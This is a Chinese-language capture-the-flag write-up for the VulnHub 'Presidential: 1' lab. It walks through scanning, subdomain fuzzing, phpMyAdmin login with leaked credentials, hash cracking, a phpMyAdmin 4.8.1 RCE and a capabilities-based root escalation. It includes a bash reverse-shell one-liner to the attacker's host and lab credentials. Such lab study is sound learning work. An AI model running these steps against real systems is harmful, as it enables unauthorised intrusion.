目录
进行靶机ip的扫描
nmap扫描开发的端口和服务信息
目录扫描
修改host文件
子域名搜集
phpmyadmin管理端登录
phpmyadmin漏洞利用
反弹shell
capabilities提权
获取root权限
靶机总结
靶机下载网址:Presidential: 1 ~ VulnHub
Kali ip:192.168.174.128
靶机ip为192.168.174.138
进行靶机ip的扫描
确认靶机ip为192.168.174.138
nmap扫描开发的端口和服务信息
这里可以看到开放80端口,php版本为5.5,开放2082端口的ssh协议
查看开放web服务,界面很真实
目录扫描
python dirsearch.py -u http://192.168.174.138
可以看到有配置文件和配置文件.bak
可以选择直接访问页面进行查看源代码,这里选择使用linux的curl命令进行查看页面的返回信息
把账号密码粘贴下来:
$dbUser = "votebox";
$dbPass = "casoj3FFASPsbyoRP";
$dbHost = "localhost";
$dbname = "votebox";
附上curl的参数
到这里尝试一下ssh登录
可以发现登录失败,这里直接登录,没有认证信息,所以失败
查看其它扫描到的目录没有其他可以利用的点
修改host文件
从index页面可以看出,邮箱的地方有点蹊跷,可能存在内部域名,这里修改一下host文件为votenow.local
添加成功也正常访问
再次对网站进行目录扫描
子域名搜集
发现什么都没扫描出来,这里尝试使用wfuzz去检查它的子域名,当然也可以使用其他的如子域名挖掘机等,这里参考大福老师视频里面的命令
wfuzz -H 'HOST: FUZZ.votenow.local' -u 'http://192.168.174.138' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hw 854,45
附上具体参数的含义
-H header : Use header (ex:"Cookie:id=1312321&user=FUZZ"). Repeat option for various headers.
-u url : Specify a URL for the request.
-w wordlist : Specify a wordlist file (alias for -z file,wordlist).
--hc/hl/hw : Hide responses with the specified code/lines/words/chars (Use BBB for taking values from baseline)
这里再次对host文件进行修改,然后就正常可以显示http://datasafe.votenow.local/的页面内容了
phpmyadmin管理端登录
这里尝试使用之前页面config.php.bak泄露的账号密码进行登录
成功登录
这里对数据库进行查看,在votebox库中发现user表,其中有admin的账号和密码,这里尝试使用john对密码进行破解
$2y$12$d/nOEjKNgk/epF2BeAFaMu8hW4ae3JJk8ITyh48q97awT/G7eQ11i
这里我用的默认的字典
破解大概几分钟 也就出来了
phpmyadmin漏洞利用
接下来我们有了admin的账号和密码Stella
但是不知道在哪里进行登录啊,然后发现phpmyadmin的版本为4.8.1,查找一下有没有可用的漏洞
可以看到有一个远程代码执行rce漏洞
下载到本地进行查看
可以在脚本中发现脚本的使用方法
可以看到这里的第一行指令是没有返回结果的
原因是url3的地址,可能不太一样,有的地址是session,有的地址是sessions
(参考的b站大福安全的视频,对这里的session进行修改的)
这里再次运行whoami命令,发现运行成功
反弹shell
bash -i >& /dev/tcp/192.168.174.128/4444 0>&1
反弹shell成功
切换到我们之前找到的admin用户
这里提示我们利用新命令备份和压缩敏感文件
上传脚本进行扫描
但是没发现什么有用信息
capabilities提权
这里从其他的师傅那边学到一个新的知识
查找:/usr/sbin/getcap -r / 2>/dev/null
参考文章Linux提权之:利用capabilities提权 - f_carey - 博客园
我们运行SUID的命令时,通常只是需要使用一小部分特权,但是使用SUID,却可以拥有root用户的全部权限。所以,一旦SUID的文件存在漏洞,便可能被利用,以root身份执行其他操作。SUID的问题,主要在于权限控制太粗糙。为了对root身份进行更加精细的控制,Linux增加了另一种机制,即capabilities。Capabilities机制,是在Linux内核2.2之后引入的。它将root用户的权限细分为不同的领域,可以分别启用或禁用。从而,在实际进行特权操作时,如果euid不是root,便会检查是否具有该特权操作所对应的capabilities,并以此为依据,决定是否可以执行特权操作。
查找设置了capabilities可执行文件:/usr/sbin/getcap -r / 2>/dev/null
这里发现一个奇怪的tarS命令
[admin@votenow ~]$ ls -al /usr/bin/tarS
ls -al /usr/bin/tarS
-rwx------. 1 admin admin 346136 Jun 27 2020 /usr/bin/tarS
查看发现是admin权限
查看一下命令帮助,类似于tar命令
压缩root文件夹下的所有文件为root.tar
解压压缩好的文件
查看到flag文件
获取root权限
这里只是查看到了root的所有文件,但是还没有获得靶机的最高权限,这里在root文件夹下进行查找,发现ssh隐藏文件下存在密钥,利用密钥进行ssh登录
-i加上密钥,-p加上端口,发现登录后就是root权限了,提权成功
靶机总结
这个靶机之开启了80端口和用于ssh的2082端口,ssh登录需要认证,所以必须找到密钥才能进行登录,在80端口,首先扫描目录找到账号密码,然后修改host文件实现域名解析,再次扫描目录没有得到有用信息,进行子域名查找,再次修改host得到一个phpmyadmin的登陆界面,登录之后得到admin的密码,利用phpmyadmin的RCE漏洞进行反弹shell,切换用户到admin,到这就没了什么思路,又了解到了capability提权(也可以使用脚本linpeas.sh进行扫描),利用命令进行压缩再解压查看root目录,利用密钥进行ssh登录,最后得到root权限。